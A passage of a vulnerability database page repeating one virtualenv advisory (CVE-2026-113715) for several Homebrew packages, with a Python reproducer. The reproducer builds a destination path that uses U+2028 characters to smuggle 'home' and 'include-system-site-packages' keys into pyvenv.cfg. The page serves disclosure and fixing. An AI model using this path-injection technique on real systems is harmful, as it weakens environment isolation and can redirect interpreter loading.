        return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")
    
    
    def sys_home(env):
        # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg
        probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"]
        return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()
    
    
    # control: the same path through the standard library alone
    stdlib_env = dest + "-stdlib"
    subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True)
    
    # attack: the same path through virtualenv; --creator venv is the one non-default option
    virtualenv_env = dest + "-virtualenv"
    created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env])
    if created.returncode != 0:  # refusing such a destination is a valid fix
        print("virtualenv refused the destination")
        print("OK")
        raise SystemExit
    
    # check
    stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)
    virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)
    
    print("CONTROL  python -m venv wrote pyvenv.cfg:")
    for line in stdlib_cfg:
        print("    " + ascii(line))
    print(f"CONTROL  python -m venv: sys._home = {stdlib_home}")
    print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:")
    for line in virtualenv_cfg:
        print("    " + ascii(line))
    print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}")
    
    keys_injected = "home = /attacker/chosen" in virtualenv_cfg and "include-system-site-packages = true" in virtualenv_cfg
    print("BUG" if stdlib_home == real_home and keys_injected and virtualenv_home == "/attacker/chosen" else "OK")
    

    Impact

    Destination path data can change configuration boundaries and therefore environment settings. The effect depends on which settings change and how the environment is subsequently used.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved path again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv options, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain supported.

    Fix: PR #3426.

    Known mitigation

    Reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.15.5",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "pdm",
            "purl": "pkg:brew/pdm"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2.2.1"
                },
                {
                  "fixed": "2.9.3_2"
                },
                {
                  "introduced": "2.12.3"
                },
                {
                  "fixed": "2.29.3"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.15.5",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.15.5"
          }
        ]
      },
      "details": "## Summary\n\nThe venv creator reads the standard library\u0027s generated pyvenv.cfg with splitlines() and merges all resulting keys over\nvirtualenv\u0027s configuration. Line-boundary characters from destination data can therefore become configuration structure\nbefore output sanitization.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nConfiguration readback by the stdlib venv creator.\n\n## Attacker-controlled input\n\nAn untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a\ncharacter that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[venv readback](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/venv.py),\n[configuration parser](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\nWith `--creator venv`, virtualenv asks the standard library to create an environment, reads its `pyvenv.cfg` with\n`str.splitlines()`, and merges the parsed keys over virtualenv\u0027s chosen settings. CPython writes the destination into a\n`command =` value without escaping every character that `splitlines()` recognizes as a line boundary. A destination\ncontaining U+2028, for example, can therefore supply new `home` and `include-system-site-packages` keys during readback.\nVirtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.\n\n## Reproduction and evidence\n\nThe scanner used one destination value with U+2028 between `home = /attacker/chosen`,\n`include-system-site-packages = true`, and an absorbing `x =` key. A `python -m venv --without-pip` control kept the\nvalue inside its `command` line and reported the base interpreter\u0027s `sys._home`. `virtualenv --creator venv --no-seed`\non the same value wrote separate injected configuration lines and its interpreter reported\n`sys._home = /attacker/chosen`. The path did not require a literal newline byte. The control establishes that the extra\nkeys came from virtualenv\u0027s readback, not from the standard library\u0027s initial file alone.\n\nThe altered `home` can change which standard-library files the interpreter loads if an attacker also controls that\nlocation; `include-system-site-packages = true` weakens environment isolation. Choosing the venv creator is required,\neither explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in\n20.0.0b1. [PR #3426](https://github.com/pypa/virtualenv/pull/3426) rejects line-boundary characters before creation and\nrebuilds the final configuration from selected settings.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Destination supplier\n    participant S as stdlib venv\n    participant V as virtualenv readback\n    participant C as Final pyvenv.cfg\n    participant P as Environment Python\n    A-\u003e\u003eS: path contains U+2028 and home = /attacker/chosen\n    S-\u003e\u003eC: write path inside command value\n    V-\u003e\u003eC: read with splitlines()\n    V-\u003e\u003eV: parse suffix as separate keys\n    V-\u003e\u003eC: rewrite home and include-system-site-packages\n    P-\u003e\u003eC: read injected keys on startup\n    C--\u003e\u003eP: sys._home changes and isolation is disabled\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\n\nwork = \"/tmp/repro-venv-creator-cfg\"\nshutil.rmtree(work, ignore_errors=True)\n\n# the attacker\u0027s input: the text of a destination path.\n# U+2028 ends a line for str.splitlines() but not for CPython\u0027s own pyvenv.cfg reader.\n# The slashes only make nested directories; the last key, x, absorbs the rest of the path.\nLS = \"\\u2028\"\ndest = f\"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env\"\n\nbase_python = os.path.realpath(shutil.which(\"python\"))\nreal_home = os.path.dirname(base_python)\n\n\ndef pyvenv_cfg_lines(env):\n    # split on \"\\n\" only, as the interpreter does\n    return open(f\"{env}/pyvenv.cfg\", encoding=\"utf-8\").read().split(\"\\n\")\n\n\ndef sys_home(env):\n    # site.py sets sys._home from the `home` key of the environment\u0027s pyvenv.cfg\n    probe = [f\"{env}/bin/python\", \"-c\", \"import sys; print(sys._home)\"]\n    return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()\n\n\n# control: the same path through the standard library alone\nstdlib_env = dest + \"-stdlib\"\nsubprocess.run([base_python, \"-m\", \"venv\", \"--without-pip\", stdlib_env], check=True)\n\n# attack: the same path through virtualenv; --creator venv is the one non-default option\nvirtualenv_env = dest + \"-virtualenv\"\ncreated = subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--no-seed\", \"--creator\", \"venv\", virtualenv_env])\nif created.returncode != 0:  # refusing such a destination is a valid fix\n    print(\"virtualenv refused the destination\")\n    print(\"OK\")\n    raise SystemExit\n\n# check\nstdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)\nvirtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)\n\nprint(\"CONTROL  python -m venv wrote pyvenv.cfg:\")\nfor line in stdlib_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"CONTROL  python -m venv: sys._home = {stdlib_home}\")\nprint(\"OBSERVED virtualenv --creator venv wrote pyvenv.cfg:\")\nfor line in virtualenv_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}\")\n\nkeys_injected = \"home = /attacker/chosen\" in virtualenv_cfg and \"include-system-site-packages = true\" in virtualenv_cfg\nprint(\"BUG\" if stdlib_home == real_home and keys_injected and virtualenv_home == \"/attacker/chosen\" else \"OK\")\n```\n\n## Impact\n\nDestination path data can change configuration boundaries and therefore environment settings. The effect depends on\nwhich settings change and how the environment is subsequently used.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved\npath again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv\noptions, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain\nsupported.\n\nFix: [PR #3426](https://github.com/pypa/virtualenv/pull/3426).\n\n## Known mitigation\n\nReject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-6ZQHJ6VI.",
      "id": "BREW-pdm-CVE-2026-113715",
      "modified": "2026-11-19T09:17:08Z",
      "published": "2026-10-27T08:57:08Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113715"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3426"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750a"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Venv configuration readback can reinterpret path boundaries",
      "upstream": [
        "GHSA-qmx5-4p3x-wvqf",
        "CVE-2026-113715",
        "BIT-virtualenv-2026-113715",
        "PYSEC-2026-4374"
      ]
    }

    BREW-PIPENV-CVE-2026-113715 (GHSA-QMX5-4P3X-WVQF)

    Vulnerability from osv_homebrew – Published: 2026-10-26 09:13 – Updated: 2026-11-19 09:22 – Source website
    VLAI
    Summary
    virtualenv: Venv configuration readback can reinterpret path boundaries
    Details

    Summary

    The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.

    Anthropic's OSS Scanner reported this as ANT-2026-6ZQHJ6VI in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Configuration readback by the stdlib venv creator.

    Attacker-controlled input

    An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

    Affected code

    The relevant 21.14.8 source is in venv readback, configuration parser.

    Mechanism

    With --creator venv, virtualenv asks the standard library to create an environment, reads its pyvenv.cfg with str.splitlines(), and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a command = value without escaping every character that splitlines() recognizes as a line boundary. A destination containing U+2028, for example, can therefore supply new home and include-system-site-packages keys during readback. Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

    Reproduction and evidence

    The scanner used one destination value with U+2028 between home = /attacker/chosen, include-system-site-packages = true, and an absorbing x = key. A python -m venv --without-pip control kept the value inside its command line and reported the base interpreter's sys._home. virtualenv --creator venv --no-seed on the same value wrote separate injected configuration lines and its interpreter reported sys._home = /attacker/chosen. The path did not require a literal newline byte. The control establishes that the extra keys came from virtualenv's readback, not from the standard library's initial file alone.

    The altered home can change which standard-library files the interpreter loads if an attacker also controls that location; include-system-site-packages = true weakens environment isolation. Choosing the venv creator is required, either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in 20.0.0b1. PR #3426 rejects line-boundary characters before creation and rebuilds the final configuration from selected settings.

    Attack sequence

    sequenceDiagram
        participant A as Destination supplier
        participant S as stdlib venv
        participant V as virtualenv readback
        participant C as Final pyvenv.cfg
        participant P as Environment Python
        A->>S: path contains U+2028 and home = /attacker/chosen
        S->>C: write path inside command value
        V->>C: read with splitlines()
        V->>V: parse suffix as separate keys
        V->>C: rewrite home and include-system-site-packages
        P->>C: read injected keys on startup
        C-->>P: sys._home changes and isolation is disabled
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-6ZQHJ6VI. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    
    work = "/tmp/repro-venv-creator-cfg"
    shutil.rmtree(work, ignore_errors=True)
    
    # the attacker's input: the text of a destination path.
    # U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.
    # The slashes only make nested directories; the last key, x, absorbs the rest of the path.
    LS = "\u2028"
    dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"
    
    base_python = os.path.realpath(shutil.which("python"))
    real_home = os.path.dirname(base_python)
    
    
    def pyvenv_cfg_lines(env):
        # split on "\n" only, as the interpreter does
        return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")
    
    
    def sys_home(env):
        # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg
        probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"]
        return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()
    
    
    # control: the same path through the standard library alone
    stdlib_env = dest + "-stdlib"
    subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True)
    
    # attack: the same path through virtualenv; --creator venv is the one non-default option
    virtualenv_env = dest + "-virtualenv"
    created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env])
    if created.returncode != 0:  # refusing such a destination is a valid fix
        print("virtualenv refused the destination")
        print("OK")
        raise SystemExit
    
    # check
    stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)
    virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)
    
    print("CONTROL  python -m venv wrote pyvenv.cfg:")
    for line in stdlib_cfg:
        print("    " + ascii(line))
    print(f"CONTROL  python -m venv: sys._home = {stdlib_home}")
    print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:")
    for line in virtualenv_cfg:
        print("    " + ascii(line))
    print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}")
    
    keys_injected = "home = /attacker/chosen" in virtualenv_cfg and "include-system-site-packages = true" in virtualenv_cfg
    print("BUG" if stdlib_home == real_home and keys_injected and virtualenv_home == "/attacker/chosen" else "OK")
    

    Impact

    Destination path data can change configuration boundaries and therefore environment settings. The effect depends on which settings change and how the environment is subsequently used.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved path again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv options, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain supported.

    Fix: PR #3426.

    Known mitigation

    Reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.15.6",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "pipenv",
            "purl": "pkg:brew/pipenv"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2022.9.24"
                },
                {
                  "fixed": "2026.10.1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.15.6",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.15.6"
          }
        ]
      },
      "details": "## Summary\n\nThe venv creator reads the standard library\u0027s generated pyvenv.cfg with splitlines() and merges all resulting keys over\nvirtualenv\u0027s configuration. Line-boundary characters from destination data can therefore become configuration structure\nbefore output sanitization.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nConfiguration readback by the stdlib venv creator.\n\n## Attacker-controlled input\n\nAn untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a\ncharacter that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[venv readback](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/venv.py),\n[configuration parser](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\nWith `--creator venv`, virtualenv asks the standard library to create an environment, reads its `pyvenv.cfg` with\n`str.splitlines()`, and merges the parsed keys over virtualenv\u0027s chosen settings. CPython writes the destination into a\n`command =` value without escaping every character that `splitlines()` recognizes as a line boundary. A destination\ncontaining U+2028, for example, can therefore supply new `home` and `include-system-site-packages` keys during readback.\nVirtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.\n\n## Reproduction and evidence\n\nThe scanner used one destination value with U+2028 between `home = /attacker/chosen`,\n`include-system-site-packages = true`, and an absorbing `x =` key. A `python -m venv --without-pip` control kept the\nvalue inside its `command` line and reported the base interpreter\u0027s `sys._home`. `virtualenv --creator venv --no-seed`\non the same value wrote separate injected configuration lines and its interpreter reported\n`sys._home = /attacker/chosen`. The path did not require a literal newline byte. The control establishes that the extra\nkeys came from virtualenv\u0027s readback, not from the standard library\u0027s initial file alone.\n\nThe altered `home` can change which standard-library files the interpreter loads if an attacker also controls that\nlocation; `include-system-site-packages = true` weakens environment isolation. Choosing the venv creator is required,\neither explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in\n20.0.0b1. [PR #3426](https://github.com/pypa/virtualenv/pull/3426) rejects line-boundary characters before creation and\nrebuilds the final configuration from selected settings.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Destination supplier\n    participant S as stdlib venv\n    participant V as virtualenv readback\n    participant C as Final pyvenv.cfg\n    participant P as Environment Python\n    A-\u003e\u003eS: path contains U+2028 and home = /attacker/chosen\n    S-\u003e\u003eC: write path inside command value\n    V-\u003e\u003eC: read with splitlines()\n    V-\u003e\u003eV: parse suffix as separate keys\n    V-\u003e\u003eC: rewrite home and include-system-site-packages\n    P-\u003e\u003eC: read injected keys on startup\n    C--\u003e\u003eP: sys._home changes and isolation is disabled\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\n\nwork = \"/tmp/repro-venv-creator-cfg\"\nshutil.rmtree(work, ignore_errors=True)\n\n# the attacker\u0027s input: the text of a destination path.\n# U+2028 ends a line for str.splitlines() but not for CPython\u0027s own pyvenv.cfg reader.\n# The slashes only make nested directories; the last key, x, absorbs the rest of the path.\nLS = \"\\u2028\"\ndest = f\"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env\"\n\nbase_python = os.path.realpath(shutil.which(\"python\"))\nreal_home = os.path.dirname(base_python)\n\n\ndef pyvenv_cfg_lines(env):\n    # split on \"\\n\" only, as the interpreter does\n    return open(f\"{env}/pyvenv.cfg\", encoding=\"utf-8\").read().split(\"\\n\")\n\n\ndef sys_home(env):\n    # site.py sets sys._home from the `home` key of the environment\u0027s pyvenv.cfg\n    probe = [f\"{env}/bin/python\", \"-c\", \"import sys; print(sys._home)\"]\n    return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()\n\n\n# control: the same path through the standard library alone\nstdlib_env = dest + \"-stdlib\"\nsubprocess.run([base_python, \"-m\", \"venv\", \"--without-pip\", stdlib_env], check=True)\n\n# attack: the same path through virtualenv; --creator venv is the one non-default option\nvirtualenv_env = dest + \"-virtualenv\"\ncreated = subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--no-seed\", \"--creator\", \"venv\", virtualenv_env])\nif created.returncode != 0:  # refusing such a destination is a valid fix\n    print(\"virtualenv refused the destination\")\n    print(\"OK\")\n    raise SystemExit\n\n# check\nstdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)\nvirtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)\n\nprint(\"CONTROL  python -m venv wrote pyvenv.cfg:\")\nfor line in stdlib_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"CONTROL  python -m venv: sys._home = {stdlib_home}\")\nprint(\"OBSERVED virtualenv --creator venv wrote pyvenv.cfg:\")\nfor line in virtualenv_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}\")\n\nkeys_injected = \"home = /attacker/chosen\" in virtualenv_cfg and \"include-system-site-packages = true\" in virtualenv_cfg\nprint(\"BUG\" if stdlib_home == real_home and keys_injected and virtualenv_home == \"/attacker/chosen\" else \"OK\")\n```\n\n## Impact\n\nDestination path data can change configuration boundaries and therefore environment settings. The effect depends on\nwhich settings change and how the environment is subsequently used.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved\npath again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv\noptions, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain\nsupported.\n\nFix: [PR #3426](https://github.com/pypa/virtualenv/pull/3426).\n\n## Known mitigation\n\nReject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-6ZQHJ6VI.",
      "id": "BREW-pipenv-CVE-2026-113715",
      "modified": "2026-11-19T09:22:30Z",
      "published": "2026-10-26T09:13:54Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113715"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3426"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750a"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Venv configuration readback can reinterpret path boundaries",
      "upstream": [
        "GHSA-qmx5-4p3x-wvqf",
        "CVE-2026-113715",
        "BIT-virtualenv-2026-113715",
        "PYSEC-2026-4374"
      ]
    }

    BREW-POETRY-CVE-2026-113715 (GHSA-QMX5-4P3X-WVQF)

    Vulnerability from osv_homebrew – Published: 2026-10-27 09:03 – Updated: 2026-11-19 09:13 – Source website
    VLAI
    Summary
    virtualenv: Venv configuration readback can reinterpret path boundaries
    Details

    Summary

    The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.

    Anthropic's OSS Scanner reported this as ANT-2026-6ZQHJ6VI in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Configuration readback by the stdlib venv creator.

    Attacker-controlled input

    An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

    Affected code

    The relevant 21.14.8 source is in venv readback, configuration parser.

    Mechanism

    With --creator venv, virtualenv asks the standard library to create an environment, reads its pyvenv.cfg with str.splitlines(), and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a command = value without escaping every character that splitlines() recognizes as a line boundary. A destination containing U+2028, for example, can therefore supply new home and include-system-site-packages keys during readback. Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

    Reproduction and evidence

    The scanner used one destination value with U+2028 between home = /attacker/chosen, include-system-site-packages = true, and an absorbing x = key. A python -m venv --without-pip control kept the value inside its command line and reported the base interpreter's sys._home. virtualenv --creator venv --no-seed on the same value wrote separate injected configuration lines and its interpreter reported sys._home = /attacker/chosen. The path did not require a literal newline byte. The control establishes that the extra keys came from virtualenv's readback, not from the standard library's initial file alone.

    The altered home can change which standard-library files the interpreter loads if an attacker also controls that location; include-system-site-packages = true weakens environment isolation. Choosing the venv creator is required, either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in 20.0.0b1. PR #3426 rejects line-boundary characters before creation and rebuilds the final configuration from selected settings.

    Attack sequence

    sequenceDiagram
        participant A as Destination supplier
        participant S as stdlib venv
        participant V as virtualenv readback
        participant C as Final pyvenv.cfg
        participant P as Environment Python
        A->>S: path contains U+2028 and home = /attacker/chosen
        S->>C: write path inside command value
        V->>C: read with splitlines()
        V->>V: parse suffix as separate keys
        V->>C: rewrite home and include-system-site-packages
        P->>C: read injected keys on startup
        C-->>P: sys._home changes and isolation is disabled
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-6ZQHJ6VI. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    
    work = "/tmp/repro-venv-creator-cfg"
    shutil.rmtree(work, ignore_errors=True)
    
    # the attacker's input: the text of a destination path.
    # U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.
    # The slashes only make nested directories; the last key, x, absorbs the rest of the path.
    LS = "\u2028"
    dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"
    
    base_python = os.path.realpath(shutil.which("python"))
    real_home = os.path.dirname(base_python)
    
    
    def pyvenv_cfg_lines(env):
        # split on "\n" only, as the interpreter does
        return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")
    
    
    def sys_home(env):
        # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg
        probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"]
        return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()
    
    
    # control: the same path through the standard library alone
    stdlib_env = dest + "-stdlib"
    subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True)
    
    # attack: the same path through virtualenv; --creator venv is the one non-default option
    virtualenv_env = dest + "-virtualenv"
    created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env])
    if created.returncode != 0:  # refusing such a destination is a valid fix
        print("virtualenv refused the destination")
        print("OK")
        raise SystemExit
    
    # check
    stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)
    virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)
    
    print("CONTROL  python -m venv wrote pyvenv.cfg:")
    for line in stdlib_cfg:
        print("    " + ascii(line))
    print(f"CONTROL  python -m venv: sys._home = {stdlib_home}")
    print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:")
    for line in virtualenv_cfg:
        print("    " + ascii(line))
    print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}")
    
    keys_injected = "home = /attacker/chosen" in virtualenv_cfg and "include-system-site-packages = true" in virtualenv_cfg
